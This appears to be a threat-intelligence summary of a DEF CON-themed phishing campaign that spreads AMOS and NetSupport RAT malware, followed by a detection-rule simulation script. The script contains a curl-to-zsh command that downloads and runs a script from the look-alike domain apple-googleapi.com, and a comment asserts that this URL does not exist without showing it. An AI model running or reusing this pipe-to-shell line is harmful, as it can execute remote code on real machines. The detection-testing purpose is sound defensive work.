DEF CON-Themed Phishing Abuses Google Apps Script for Malware Delivery

Summary

Threat actors are targeting cybersecurity conference attendees through social engineering on X, formerly Twitter, to distribute malware using weaponized Google Docs and fraudulent DocSend installers. The campaign delivers AMOS infostealer to macOS users, while Windows victims receive a multi-stage payload involving NetSupport RAT and a Ledger wallet implant. The attack abuses Google Apps Script sidebars and ClickFix-style prompts to reduce suspicion and trigger malicious code execution.

Investigation

Huntress researchers interacted with the threat actor while posing as a CoinDesk executive to observe the complete attack chain. The investigation uncovered a sophisticated multi-stage process involving Google Apps Script, fake installers signed with stolen certificates, and a local TLS-intercepting proxy on Windows. Researchers also identified a secondary stage that executes JavaScript in memory and deploys a rogue Certificate Authority.

Mitigation

Users should treat unexpected requests to execute terminal commands, bypass Gatekeeper, or install manual updates from document sidebars as suspicious. Organizations should monitor for unusual Google Apps Script activity and unauthorized use of code-signing certificates. Strong endpoint controls and independent verification of document-sharing links can further reduce exposure.

Response

If malicious activity is detected, the affected system should be isolated immediately to stop data exfiltration or lateral movement. Responders should preserve forensic evidence and consider reimaging the device while treating local credentials and cryptocurrency wallet data as compromised. Active sessions should be revoked, passwords reset, and all API keys or secrets stored on the system rotated.

## Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary aims to gain initial access on a macOS workstation by masquerading as a legitimate Google API update process. They utilize a social engineering tactic where the user is instructed to run a command in the Terminal. The command uses curl to fetch a payload from apple-googleapi.com (a typosquatting/look-alike domain) and pipes the output directly into zsh. This “living-off-the-land” approach attempts to minimize the forensic footprint on the filesystem by executing the code directly from the network stream.

• Regression Test Script:

  #!/bin/bash
  # Simulation script to trigger the "Potential Malicious Shell Script Execution" rule.
  # Note: We use a dummy URL that mimics the domain structure to avoid actual external calls if desired, 
  # but for the rule to fire, the command line MUST contain 'apple-googleapi.com'.
  
  echo "[*] Starting simulation: Mimicking malicious shell pipe..."
  
  # This command satisfies all conditions: 
  # 1. Process is zsh/sh/bash 
  # 2. Contains 'curl' 
  # 3. Contains '| zsh' 
  # 4. Contains 'apple-googleapi.com'
  
  # We use a non-existent URL to prevent actual payload execution while still generating the telemetry.
  curl -s http://apple-googleapi.com/update.sh | zsh
  
  echo "[*] Simulation command sent."

• Cleanup Commands:

  # No files are created on disk by the attack command itself, 
  # but if any artifacts were generated, they should be removed.
  rm -f ~/Downloads/update.sh 2>/dev/null
  echo "[*] Cleanup complete."